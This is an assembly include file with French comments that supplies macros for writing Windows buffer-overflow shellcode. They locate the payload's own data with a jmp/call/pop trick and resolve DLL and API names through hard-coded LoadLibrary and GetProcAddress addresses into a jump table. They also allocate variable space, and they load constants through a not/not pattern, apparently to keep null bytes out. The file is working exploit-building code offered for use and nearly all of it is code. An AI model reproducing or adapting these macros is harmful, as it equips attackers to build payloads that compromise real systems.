;                 BUFFER OVERFLOW EXPLOITS INCLUDE
;                 ================================

;ENTREE: ExploitPrologue
;        db ...
;        ExploitEpilogue AddrLoadLibrary,AddrGetProcAddress,BytesVariables
;AddrLoadLibrary=offset de l'offset de LoadLibrary
;AddrGetProcAddress=offset de l'offset de GetProcAddress
;BytesVariables=nombre de bytes à réserver pour les variables (initialisées à 0)

;FORMAT ListeTable:
;255=fin de la table
;254=fin d'une librairie
;253=fin d'une API
;252=fin d'une chaîne

;SORTIE:
;[ESI-4...]=jump table
;[EDI-1...]=variables

ExploitPrologue macro
 jmp short ExploitPrologueCALL
ExploitPrologueJUMP: 
 pop esi           ;ESI=offset ListeTable
 mov edi,esi       ;EDI=adresse saut
 mov eax,not(ExploitEpilogueINIT-ExploitPrologueDATA)
 not eax
 add edi,eax
 jmp edi
ExploitPrologueCALL: call ExploitPrologueJUMP ;offset ListeTable sur la pile
ExploitPrologueDATA:
endm

ExploitEpilogue macro AddrLoadLibrary,AddrGetProcAddress,BytesVariables
ExploitEpilogueINIT:
 mov edi,esi       ;EDI=offset jump table
ExploitEpilogueDEBUT:
 mov ebx,esi       ;EBX=début chaîne courante
ExploitEpilogueBOUCLECHAR:
 lodsb
 cmp al,252
 jb short ExploitEpilogueBOUCLECHAR ;si <252

 dec esi            ;sinon >=252 =>chaîne ou fin
 xor ah,ah
 mov [esi],ah       ;00 de fin de chaîne
 inc esi

 cmp al,252
 je short ExploitEpilogue252 ;si =252
 cmp al,254
 ja short ExploitEpilogueEND ;si =255

 push edi           ;sauve EDI
 push esi           ;sauve ESI
 je short ExploitEpilogue254 ;si =254

ExploitEpilogue253: ;sinon =253
 push edx           ;sauve EDX
 push ebx
 push edx
 mov eax,not AddrGetProcAddress
 not eax
 call dword ptr [eax] ;GetProcAddress
 pop edx
 pop esi
 pop edi
 stosd              ;ajoute à la jump table 
 jmp short ExploitEpilogueDEBUT

ExploitEpilogue252:
 mov eax,ebx
 stosd              ;ajoute à la jump table
 jmp short ExploitEpilogueDEBUT

ExploitEpilogue254:
 push ebx
 mov eax,not AddrLoadLibrary
 not eax
 call dword ptr [eax] ;LoadLibrary
 mov edx,eax        ;EDX=handle de la DLL
 pop esi
 pop edi
 jmp short ExploitEpilogueDEBUT

ExploitEpilogueEND:
 mov esi,edi        ;[ESI-4...]=jump table
 IF BytesVariables GT 0
  xor ecx,ecx
  mov cl,BytesVariables
  xor al,al
  rep stosb         ;[EDI-1...]=variables
 ENDIF
endm


;ENTREE: ExploitAlloc AddrGlobalAlloc,BytesVariables
;AddrGlobalAlloc=offset AddrGlobalAlloc
;BytesVariables=nombre de bytes à réserver pour les variables (initialisées à 0)

;SORTIE:
;[EBP-1...]=variables

ExploitAlloc macro AddrGlobalAlloc,BytesVariables
 mov eax,not BytesVariables
 not eax
 push eax
 mov eax,not (GMEM_FIXED or GMEM_ZEROINIT)
 not eax
 push eax
 call dword ptr AddrGlobalAlloc
 mov ebp,not BytesVariables
 not ebp
 add ebp,eax
endm
